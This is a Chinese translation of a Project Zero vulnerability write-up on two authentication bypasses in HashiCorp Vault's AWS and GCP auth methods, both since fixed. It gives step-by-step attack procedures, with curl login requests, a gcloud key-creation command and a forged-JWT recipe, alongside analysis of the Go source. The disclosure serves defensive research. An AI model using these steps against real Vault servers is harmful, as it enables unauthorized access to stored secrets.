在上一篇文章中,我们为读者介绍了Vault的身份验证架构,以及冒用调用方身份的方法,在本文中,我们将继续为读者介绍冒用调用方身份以及利用Vault-on-GCP的漏洞的过程。
STS(调用方)身份盗用 (接上文)
这使我们向盗用任意调用方身份的目标更靠近了一步:我们只需要找到一个STS操作来反映攻击者控制的文本,并将它作为其API响应的一部分。然后,对它的请求进行序列化,同时包含一个Accept: application/json标头,并将一个任意的GetCallerIdentityResponse XML blob放入反射型payload中。
找到一个不受字母数字字符限制的反射型参数是一件非常棘手的事情。经过反复尝试后,我决定以AssumeRoleWithWebIdentity操作和它的SubjectFromWebIdentityToken响应元素作为目标。其中,AssumeRoleWithWebIdentity用于将OpenID Connect(OIDC)供应商签名的JSON Web Tokens(JWT)转换成AWS IAM身份。
使用有效签名的JWT向该操作发送请求,将返回SubjectFromWebIdentityToken字段中的令牌的sub字段。
当然,一个正常的OIDC供应商是不会在主题字段中给带有XML有效载荷的JWT进行签名的。不过,攻击者只要直接创建自己的OIDC身份供应商(IdP),并将其注册到自己的AWS账户上,然后就可以用自己的密钥对任意的令牌进行签名了。
让我们把这一切放在一起,就可以搞定整个攻击过程:
创建一个OIDC IdP。实际上,就是生成一个RSA密钥对,创建一个OIDC discovery.json和key.json文档,并将json文件托管在Web服务器上(参见这里,这是使用S3的设置示例)。
使用自己的AWS账户注册一个OID IdP -> AWS IAM角色映射。需要注意的是,这里的AWS账户不需要与我们的目标有任何关系。
现在,就可以使用我们的OIDP给一个JWT进行签名了,其中可以放入任意的GetCallerIdentityResponse,只要将其作为主题声明的一部分即可。解码后的示例令牌可能是这样的:iss、azp和aud与步骤2中指定的细节是完全匹配的。其中,sub中包含我们的伪造的响应,从而将我们识别为AWS IAM账户arn:aws:iam::superprivileged-aws-account。
- {'iss': 'https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/',
- 'azp': 'abcdef', 'aud': 'abcdef',
- 'sub': '',
- 'exp': 1595120834, 'iat': 1594207895}
我们可以使用步骤3中的(已经签名的)令牌和步骤2中使用的RoleArn直接向STS AssumeRoleWithWebIdentity操作发送请求,以测试所有设置是否正确:
- curl -H "Accept: application/json"
- 'https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn=arn:aws:iam::XZY::YOUR-OIDC-ROLE&WebIdentityToken=YOURTOKEN'
如果一切按计划进行,STS将把令牌主题反映为其JSON编码响应的一部分。如上所述,Go XML解码器将跳过GetCallerIdentityResponse对象前后的所有内容,从而使Vault认为这是一个有效的STS CallerIdentity响应。
- {"AssumeRoleWithWebIdentityResponse":{"AssumeRoleWithWebIdentityResult":
- {"AssumedRoleUser":{"Arn":"arn:aws:iam::XZY::YOUR-OIDC-ROLE/web-identity-federation","AssumedRoleId":"AROATQ4R7PP5JJNLOF5P6:web-identity-federation"},
- "Audience":"abcdef","Credentials":{...},"PackedPolicySize":null,"Provider":"arn:aws:iam::242434931706:oidc-provider/oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/",
- "SubjectFromWebIdentityToken":""},
- "ResponseMetadata":....}
最后一步是将该请求转换为Vault所期望的形式(例如使用base64编码所有所需的标头、url和一个空的post正文),并将其作为/v1/auth/aws/login上的登录请求发送给目标Vault服务器。此后,Vault将反序列化该请求,将其发送到STS,并错误地解释该响应。如果我们伪造的GetCallerIdentityResponse中的AWS ARN/UserID在Vault服务器上具有特权,我们就会得到一个有效的会话令牌,这样,我们就可以用它来与Vault服务器交互,从而进一步获取更多机密信息了。
- curl -X POST "https://vault-server/v1/auth/aws/login" -d '{"role":"dev-role-iam",
- "iam_http_request_method": "POST", "iam_request_body": "encoded-body", , "iam_request_headers" :
- "encoded-headers", "iam_request_url" : "encoded-url"}'
- {"request_id":"59b09a0b-f5d5-f4c4-8ed0-af86a2c1f5d4","lease_id":"","renewable":false,"lease_duration":0,"data":null,"wrap_info":null,"warnings":["TTL
- of \"768h\" exceeded the effective max_ttl of \"500h\"; TTL value is capped
- accordingly"],"auth":{"client_token":"s.Kx3bUNw6wEc5bbkrKBiGW6WL","accessor":"TBRh0hvfd4FkYEAyFrUE3i2P","policies":["default","dev","prod"],"token_policies":["default","dev","prod"],
- "metadata":{"account_id":"242434931706","auth_type":"iam","role_id":"47faaf36-c8ab-c589-396c-2643c26e7b30"},
- "lease_duration":1800000,"renewable":true,"entity_id":"447e1efe-0fd4-aa10-3a54-52405c0c69ab","token_type":"service","orphan":true}}
我已经编写了一个概念验证exploit,用于负责JWT的创建和序列化等的大部分工作。虽然OIDC供应商的设置增加了一些复杂性,但我们仍可以绕过所有启用AWS的角色的身份验证。这里唯一的要求是,攻击者需要知道目标Vault服务器中的特权AWS角色的名称。
那么问题出自哪里呢?从攻击者的角度来看,整个认证机制看起来很机智,但容易出错。将HTTP请求转发放入安全产品未经身份验证的外部攻击表面需要对实现和底层HTTP库具有极强的信心。由于安全性取决于安全令牌服务的实现细节,而安全令牌服务可能随时发生变化,这会让事情变得更加困难。例如,AWS可能会决定将STS放在负载均衡前端的后面,使用Host标头进行路由决策。出现这种情况后,如果不对Vault代码库进行相应的修改,可能会严重降低这种认证机制的安全性。
当然,身份验证之所以这样工作也是有原因的:AWS IAM没有向其他非AWS服务证明该服务身份的直接方法。第三方服务无法轻松验证预签名请求,并且AWS IAM没有提供可用于实现基于证书的身份验证或JWT的标准签名原语。
最后,Hashicorp通过强制执行HTTP标头文件的允许列表、限制请求使用GetCallerIdentity操作以及加强对STS响应的验证来修复了该漏洞,以期可以防止STS实现的意外变化或STS与Golang之间的HTTP解析器的差别所带来的影响。
在AWS身份验证模块中发现这个问题后,我决定审查其GCP的等价物。下一节将介绍Vault的GCP认证是如何实现的,以及在许多配置中,一个简单的逻辑缺陷是如何导致认证绕过的。
利用Vault-on-GCP的漏洞
Vault支持在谷歌云上部署的gcp认证方法。与AWS的同类产品类似,该认证方法支持两种不同的认证机制:iam和gce机制。其中,iam机制能够支持任意服务账户,并且可以在App Engine或Cloud Functions等服务中使用,而gce只能用于对运行在Google Compute Engine上的虚拟机进行身份验证。不过,它还是具有一些优势的:gce不仅可以根据服务帐户身份做出身份验证决策,还可以根据多个VM属性授予访问权限。例如,一个配置可以只允许特定区域(europe-west-6)的虚拟机访问某些机密信息,允许xyz-prod GCP项目中的所有虚拟机所有访问权限,或者使用instance-groups对访问权限做进一步的限制。
实际上,iam和gce认证机制都是建立在JWT之上的。一个vault客户端如果想要进行身份验证,则需要创建一个签名令牌来证明自己的身份,并将其发送到vault服务器来获取会话令牌。对于iam机制来说,客户端可以直接使用其控制的服务账户私钥或使用projects.serviceAccounts.signJwt IAM API方法给令牌签名。
对于gce来说,客户端需要在授权的GCE虚拟机上运行。它通过向GCP元数据服务器的实例身份端点发送请求来获取签名令牌。与服务账户令牌相比,这个令牌是由谷歌官方证书进行签名的。除了正常的JWT声明(sub、aud、iat、exp)外,从元数据服务器返回的令牌还包含一个特殊的compute_engine声明,它列出了关于该实例的相关细节,这些细节将作为认证过程的一部分进行处理。
- "google":{"compute_engine":{"instance_creation_timestamp":1594641932,"instance_id":"671398237781058X
- XXX","instance_name":"vault","project_id":"fwilhelm-testing-XXXX","project_number":950612XXXX,"zone":"europe-west3-c"}}
JWT在设计上有很多选择的余地,这使得它的实现非常容易出现问题(参见securitum的这篇博文,以了解典型问题的相关概述),所以,我决定花一天时间来回顾Vault的令牌处理机制。
实际上,函数parseAndValidateJwt是专门负责处理gce和iam令牌的。
该函数首先在不验证签名的情况下解析令牌,并将解码后的令牌传入getSigningKey helper方法:
- // Process JWT string.
- signedJwt, ok := data.GetOk("jwt")
- if !ok {
- return nil, errors.New("jwt argument is required")
- }
- // Parse 'kid' key id from headers.
- jwtVal, err := jwt.ParseSigned(signedJwt.(string))
- if err != nil {
- return nil, errwrap.Wrapf("unable to parse signed JWT: {{err}}", err)
- }
- key, err := b.getSigningKey(ctx, jwtVal, signedJwt.(string), loginInfo.Role, req.Storage)
- if err != nil {
- return nil, errwrap.Wrapf("unable to get public key for signed JWT: %v", err)
- }
其中,getSigningKey将从token标头中提取密钥id声明(kid),并试图找到一个具有相同标识符的google级别(google-wide)的oAuth密钥。它虽然对GCE元数据令牌有效,但对服务账户签名的令牌无效:
- func (b *GcpAuthBackend) getSigningKey(...) (interface{}, error) {
- b.Logger().Debug("Getting signing Key for JWT")
- if len(token.Headers) != 1 {
- return nil, errors.New("expected token to have exactly one header")
- }
- kid := token.Headers[0].KeyID
- b.Logger().Debug("kid found for JWT", "kid", kid)
- // Try getting Google-wide key
- k, gErr := gcputil.OAuth2RSAPublicKey(ctx, kid)
- if gErr == nil {
- b.Logger().Debug("Found Google OAuth2 provider key", "kid", kid)
- return k, nil
- }
如果这种方法失败,Vault服务器会从提供的令牌中提取Subject(sub)声明。对于有效的令牌,这个声明将包含签名服务账户的电子邮件地址。知道了令牌的密钥id和主题后,Vault就能使用服务账户GCP API获取用于签名的公钥:
- // If that failed, try to get account-specific key
- b.Logger().Debug("Unable to get Google-wide OAuth2 Key, trying service-account public key")
- saId, err := getJWTSubject(rawToken)
- if err != nil {
- return nil, err
- }
- k, saErr := gcputil.ServiceAccountPublicKey(saId, kid)
- if saErr != nil {
- return nil, errwrap.Wrapf(fmt.Sprintf("unable to get public key %q for JWT subject %q: {{err}}", kid, saId), saErr)
- }
- return k, nil
在这两种情况下,Vault服务器现在都可以访问验证JWT签名的公钥了:
- // Parse claims and verify signature.
- baseClaims := &jwt.Claims{}
- customClaims := &gcputil.CustomJWTClaims{}
- if err = jwtVal.Claims(key, baseClaims, customClaims); err != nil {
- return nil, err
- }
- if err = validateBaseJWTClaims(baseClaims, loginInfo.RoleName); err != nil {
- return nil, err
- }
如果验证成功,Vault将填写loginInfo结构体,该结构体稍后用于授予或拒绝授予访问权限。如果令牌包含compute_engine声明,则将其复制到logininfo.gceMetada字段中:
- loginInfo.JWTClaims = baseClaims
- if len(baseClaims.Subject) == 0 {
- return nil, errors.New("expected JWT to have non-empty 'sub' claim")
- }
- loginInfo.EmailOrId = baseClaims.Subject
- if customClaims.Google != nil && customClaims.Google.Compute != nil && len(customClaims.Google.Compute.InstanceId) > 0 {
- loginInfo.GceMetadata = customClaims.Google.Compute
- }
- if loginInfo.Role.RoleType == gceRoleType && loginInfo.GceMetadata == nil {
- return nil, errors.New("expected JWT to have claims with GCE metadata")
- }
- return loginInfo, nil
如上所述,所有这些代码都在iam和gce auth方法之间是通用的。这里的问题是,没有强制要求该令牌是由不包含GCE compute_engine声明的服务账户进行签名的。虽然GCE元数据令牌中的内容是可信的,并且是由Google控制的,但服务账户令牌则是完全由服务账户的所有者控制的,因此可能包含任意的声明。
如果我们按照gce方法的控制流程走到最后,我们将会发现,Vault会在pathGceLogin中将loginInfo.GceMetadata作为其认证决策的一部分,如果满足下面两个条件的话:
元数据部分中描述的VM需要存在。这是使用GCE API验证的,并且需要攻击者模拟处于运行状态的VM。实际上,只有project_id、zone和instance_name需要验证,并且需要设置为有效值。
JWT令牌的主题声明中的服务帐户必须是存在的。这是通过ServiceAccount GCP API进行验证的,要求在托管服务帐户的项目中拥有am.ServiceAccounts.Get权限。由于攻击者可以在自己的项目中使用服务帐户,所以只需将这个权限授予Vault GCP身份,甚至是allUsers即可。
最后,调用AuthorizeGCE来授予或拒绝访问权限。如果攻击者使用正确的属性(项目、标签、区域等)冒充的GCE实例一切正常,攻击者将得到一个有效的会话令牌。唯一不能绕过的身份验证限制,就是硬编码的服务帐户名,因为该值等于攻击者帐户,而不是预期的VM帐户名。
针对易受攻击配置的端到端攻击过程如下所示:
1. 在你控制的GCP项目中创建一个服务账户,并使用gcloud生成一个私钥:gcloud iam service-accounts keys create key.json --iam-account sa-name@project-id.iam.gserviceaccount.com。
2. 用一个伪造的compute_engine claim来给一个JWT签名,以冒充一个现有的、有特权的虚拟机。请看这里的简单的概念验证脚本,其中已经考虑到了大部分的细节。
3. 现在,只需使用令牌登录Vault即可:curl --request POST --data '{"role": "my-gce-role", "jwt" : "...."}' http://vault:8200/v1/auth/gcp/login
这是一个非常有趣的漏洞,需要对GCP IAM有一定的了解才能发现它。该漏洞的根源,好像是因为在parseAndValidateJwt函数中,将两个独立的认证流合并到一个代码路径中,这使得在编写或审查代码时,很难弄清楚所有的安全要求。同时,由于GCP提供了两种具有完全不同安全属性的JWT令牌,使得自己很容易中枪。
小结
本文介绍了用于管理机密信息的“云原生”软件HashiCorp Vault中被曝出的两个认证漏洞。虽然Vault在开发时明显考虑到了安全问题,并从其实现语言Go的内存安全和高质量标准库中受益良多,但我仍然能够在其无需认证的攻击面中发现两个关键漏洞。
根据我的经验,在开发人员必须与外部系统和服务交互的地方,经常会存在类似这样的棘手漏洞。一个强大的开发人员也许能够推理出自己软件的所有安全边界、需求和陷阱,但一旦有复杂的外部服务出现,确保软件的安全性就变得非常困难。虽然现代云IAM解决方案功能强大,通常比同类内部解决方案更安全,但也有自己的安全隐患和较高的实施复杂性。随着越来越多的公司向大型云提供商迁移,熟悉这些技术栈将成为安全工程师和研究人员的关键技能,可以肯定的是,未来几年肯定会曝出越来越多的同类问题。
最后,本文所讨论的两个漏洞都表明了编写的安全软件是多么的困难。即使使用内存安全的语言、强大的密码学原语、静态分析和大型模糊基础结构,某些问题也只能通过手动代码审查和攻击者的思维方式才能发现。
本文翻译自:https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html如若转载,请注明原文地址。